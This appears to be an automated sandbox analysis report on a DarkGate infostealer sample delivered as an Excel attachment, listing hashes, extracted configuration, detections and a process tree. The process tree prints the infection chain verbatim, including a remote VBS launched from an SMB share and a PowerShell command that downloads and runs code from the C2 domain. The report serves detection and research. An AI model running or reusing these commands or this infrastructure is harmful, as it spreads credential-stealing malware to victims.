darkgate | 79ebb9f1d447cc3aa7a757366b3deec702d0659209059800b9f553adb45e6161

Analysis

max time kernel
145s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
15/03/2024, 19:47

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General

Target

ACH-5634-15March.xlsx
Size

48KB
MD5

ee31ad80a97f3f17db35d8add92e3396
SHA1

16bcf433568390b8ca3d2190eac5a66d4828aab9
SHA256

79ebb9f1d447cc3aa7a757366b3deec702d0659209059800b9f553adb45e6161
SHA512

2df8814928f5f0983f54694db1bb2337e15990fb2d90438b99763844e763009a7ff65c0fbe9491aea5e3dda458aaf60ef909bc3b74d2798aee02dabdbc7268cb
SSDEEP

768:ZFlppbq6i4Y/TJC4xJMxXcvFLwAPq4Sxv9PvEgzegYN1T/r:tLq94YV7JMxXyd4x+gzexTj

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

diveupdown.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
VfiPBBhr
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 4 IoCs

resource	yara_rule
behavioral2/memory/1368-81-0x0000000004B80000-0x0000000004BF3000-memory.dmp	family_darkgate_v6
behavioral2/memory/1368-83-0x0000000004B80000-0x0000000004BF3000-memory.dmp	family_darkgate_v6
behavioral2/memory/1404-99-0x0000000004730000-0x00000000047A3000-memory.dmp	family_darkgate_v6
behavioral2/memory/1404-101-0x0000000004730000-0x00000000047A3000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	212	4896	WScript.exe	86
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1528	4896	WScript.exe	86

Blocklisted process makes network request 8 IoCs

flow	pid	Process
52	1428	powershell.exe
53	1428	powershell.exe
63	1428	powershell.exe
64	1428	powershell.exe
75	4068	powershell.exe
76	4068	powershell.exe
78	4068	powershell.exe
79	4068	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 2 IoCs

pid	Process
1368	AutoHotkey.exe
1404	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4896	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1428	powershell.exe
1428	powershell.exe
4068	powershell.exe
4068	powershell.exe
4068	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1428	powershell.exe
Token: SeDebugPrivilege	4068	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4896	EXCEL.EXE
4896	EXCEL.EXE
4896	EXCEL.EXE
4896	EXCEL.EXE
4896	EXCEL.EXE
4896	EXCEL.EXE
4896	EXCEL.EXE
4896	EXCEL.EXE
4896	EXCEL.EXE
4896	EXCEL.EXE
4896	EXCEL.EXE
4896	EXCEL.EXE
4896	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 212	4896	EXCEL.EXE	91
PID 4896 wrote to memory of 212	4896	EXCEL.EXE	91
PID 212 wrote to memory of 1428	212	WScript.exe	92
PID 212 wrote to memory of 1428	212	WScript.exe	92
PID 1428 wrote to memory of 2084	1428	powershell.exe	97
PID 1428 wrote to memory of 2084	1428	powershell.exe	97
PID 4896 wrote to memory of 1528	4896	EXCEL.EXE	101
PID 4896 wrote to memory of 1528	4896	EXCEL.EXE	101
PID 1528 wrote to memory of 4068	1528	WScript.exe	102
PID 1528 wrote to memory of 4068	1528	WScript.exe	102
PID 1428 wrote to memory of 1368	1428	powershell.exe	104
PID 1428 wrote to memory of 1368	1428	powershell.exe	104
PID 1428 wrote to memory of 1368	1428	powershell.exe	104
PID 1428 wrote to memory of 1072	1428	powershell.exe	105
PID 1428 wrote to memory of 1072	1428	powershell.exe	105
PID 4068 wrote to memory of 3020	4068	powershell.exe	106
PID 4068 wrote to memory of 3020	4068	powershell.exe	106
PID 4068 wrote to memory of 1404	4068	powershell.exe	107
PID 4068 wrote to memory of 1404	4068	powershell.exe	107
PID 4068 wrote to memory of 1404	4068	powershell.exe	107
PID 4068 wrote to memory of 1836	4068	powershell.exe	108
PID 4068 wrote to memory of 1836	4068	powershell.exe	108

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1072	attrib.exe
1836	attrib.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ACH-5634-15March.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\147.182.156.154\share\EXCEL_DOCUMENT_OPEN.XLSX.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'diveupdown.com/uyvbjbho')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1428
  - - C:\Windows\system32\certutil.exe
      "C:\Windows\system32\certutil.exe" -decodehex a.bin AutoHotkey.exe
      4⤵
      PID:2084
  - - C:\fpcg\AutoHotkey.exe
      "C:\fpcg\AutoHotkey.exe" script.ahk
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:1368
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/fpcg
      4⤵
      Views/modifies file attributes
      PID:1072
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\147.182.156.154\share\EXCEL_DOCUMENT_OPEN.XLSX.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'diveupdown.com/uyvbjbho')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4068
  - - C:\Windows\system32\certutil.exe
      "C:\Windows\system32\certutil.exe" -decodehex a.bin AutoHotkey.exe
      4⤵
      PID:3020
  - - C:\fpcg\AutoHotkey.exe
      "C:\fpcg\AutoHotkey.exe" script.ahk
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:1404
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/fpcg
      4⤵
      Views/modifies file attributes
      PID:1836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
56c43715e0e7fa58012d8a5769d8d568

SHA1
4370ca3436f2e3a95b47a728503a2c22a5a5fa39

SHA256
8ef51b68725d9ddcda70f9f7ef24686ff3cb4a00f7d2dce79d10027ed63dfed5

SHA512
b8da8defb2080d04babc3e676cc9686c7f71b15eeca0e738ca75c9fb7af968eba8d3daff5bc2e31d471e26568df2f319ec1f4b00bf43ffb60460e5df787947ed

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
bd508c3088c16fe5cbfe34a6da54a59d

SHA1
63fd5d228d2b4e242ce4a7d91916ecf19a3ac746

SHA256
76531c6e92ec0360603fcf2c2b66b02e6acb640d2a0ed036844e7b52bc14bbc5

SHA512
885f960e2ad08647a8ad209f30d44f940274508ab798922afd6155f2f1de64e5dcb7c01d063d952ae9b81b397bdd698dffc98b9e95ffac17f484899cf3a936bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hsfue0w4.iud.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\dHAEbDF

Filesize
32B

MD5
e247c2e2d49ef09701a316f83f85c67a

SHA1
67251b7f0498a9cf5cda7975d87bf6be076dedfd

SHA256
38b41e66721f71b1dbc1566af96ef6c9a6302f4b14383e2f6b837b3aefeb3717

SHA512
d3fcaf11d00bd28939f5b2ca08cfd72dfb18327b4dd40b739872ab7ca0f7b42592a51e88bf540ffc2148b3c26c46befac4bde9c79ea9b69af92143337fb70f72

Download Submit
C:\fpcg\AutoHotkey.exe

Filesize
122KB

MD5
00729767200b459e27d481b0419dd5c6

SHA1
2cd538cf5b15b3f49780da72f0b107a76fc2e491

SHA256
1884aae7f05b3ddc57f104ae26cebc968d75a5882b72fbe44f783d6bdd66d17e

SHA512
4e4259ff5074477b9bd2656d76f7c95d52893b9fb75519963c4073eac6db733cad1f9619e8db2dab1d85641457d88c94f6b68b96f85ffe94a59c8d466dc8b937

Download Submit
C:\fpcg\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

Download Submit
C:\fpcg\a.bin

Filesize
1.7MB

MD5
bf88d228baec74c7928df463db0f0fdc

SHA1
efe1657bb9a9a31742b71d8c14bae89b2ab5533b

SHA256
493099b55ea0da872d3b9855c5a60752833e737be547ebc5328caea2bf0542ed

SHA512
c247a0dbba9971a8949729f888a4d8b10ca188b6fabedb9d1fe9cc7907cc4d807e66f3367ca287bf1e4062c342cbb7a724a9cc168018f55bc187e04897c8bdfa

Download Submit
C:\fpcg\script.ahk

Filesize
52KB

MD5
3433308fb4cfbf4754f37f8429cca3f6

SHA1
a98c60ac207b30e015fa970059cd3d6af5aad11f

SHA256
bf1bdcce4d86d8fce80f359f1a871c1bc70e29b3fcdff1d2ac70570ecf5a1bdc

SHA512
0cc02989002194d4e86dd2452b552360a4472d72e261921cf2b13ab50523d789732b5b677c664ae73c5751180665417b349c3c424c41fb0d27026bc7f8f9b3cf

Download Submit
C:\fpcg\test.txt

Filesize
916KB

MD5
a7c06b0255856bae512a0f174891d74f

SHA1
801b8ea8a27641fcfee78af6eff906052149054c

SHA256
3816103d61866097c2f216a4668b633ce126ad18da77b3b6c87ac24382f70929

SHA512
5d586cb80b3116d002c81b4df7aa449cd6fae454d03812eee3dd72de4e0806035d01bc4fcf16130f35ebfe5707c2d11e9453f8eb66f778a7729dc94bbfbd4cd6

Download Submit
memory/1368-81-0x0000000004B80000-0x0000000004BF3000-memory.dmp

Filesize
460KB

Download
memory/1368-83-0x0000000004B80000-0x0000000004BF3000-memory.dmp

Filesize
460KB

Download
memory/1404-99-0x0000000004730000-0x00000000047A3000-memory.dmp

Filesize
460KB

Download
memory/1404-101-0x0000000004730000-0x00000000047A3000-memory.dmp

Filesize
460KB

Download
memory/1428-42-0x000002CAC5FC0000-0x000002CAC5FE2000-memory.dmp

Filesize
136KB

Download
memory/1428-59-0x000002CADE610000-0x000002CADE620000-memory.dmp

Filesize
64KB

Download
memory/1428-48-0x000002CADE610000-0x000002CADE620000-memory.dmp

Filesize
64KB

Download
memory/1428-47-0x00007FFB24880000-0x00007FFB25341000-memory.dmp

Filesize
10.8MB

Download
memory/1428-49-0x000002CADE610000-0x000002CADE620000-memory.dmp

Filesize
64KB

Download
memory/1428-50-0x000002CADED20000-0x000002CADEEE2000-memory.dmp

Filesize
1.8MB

Download
memory/1428-78-0x00007FFB24880000-0x00007FFB25341000-memory.dmp

Filesize
10.8MB

Download
memory/1428-58-0x00007FFB24880000-0x00007FFB25341000-memory.dmp

Filesize
10.8MB

Download
memory/1428-60-0x000002CADE610000-0x000002CADE620000-memory.dmp

Filesize
64KB

Download
memory/4068-85-0x0000018ECE7E0000-0x0000018ECE7F0000-memory.dmp

Filesize
64KB

Download
memory/4068-70-0x00007FFB24880000-0x00007FFB25341000-memory.dmp

Filesize
10.8MB

Download
memory/4068-71-0x0000018ECE7E0000-0x0000018ECE7F0000-memory.dmp

Filesize
64KB

Download
memory/4068-72-0x0000018ECE7E0000-0x0000018ECE7F0000-memory.dmp

Filesize
64KB

Download
memory/4068-84-0x00007FFB24880000-0x00007FFB25341000-memory.dmp

Filesize
10.8MB

Download
memory/4068-86-0x0000018ECE7E0000-0x0000018ECE7F0000-memory.dmp

Filesize
64KB

Download
memory/4068-97-0x00007FFB24880000-0x00007FFB25341000-memory.dmp

Filesize
10.8MB

Download
memory/4896-36-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-8-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-10-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-0-0x00007FFB0D310000-0x00007FFB0D320000-memory.dmp

Filesize
64KB

Download
memory/4896-14-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-23-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-22-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-21-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-15-0x00007FFB0B2B0000-0x00007FFB0B2C0000-memory.dmp

Filesize
64KB

Download
memory/4896-12-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-11-0x00007FFB0B2B0000-0x00007FFB0B2C0000-memory.dmp

Filesize
64KB

Download
memory/4896-20-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-9-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-13-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-5-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-7-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-19-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-18-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-16-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-6-0x00007FFB0D310000-0x00007FFB0D320000-memory.dmp

Filesize
64KB

Download
memory/4896-4-0x00007FFB0D310000-0x00007FFB0D320000-memory.dmp

Filesize
64KB

Download
memory/4896-17-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-2-0x00007FFB0D310000-0x00007FFB0D320000-memory.dmp

Filesize
64KB

Download
memory/4896-3-0x00007FFB4D290000-0x00007FFB4D485000-memory.dmp

Filesize
2.0MB

Download
memory/4896-1-0x00007FFB0D310000-0x00007FFB0D320000-memory.dmp

Filesize
64KB

Download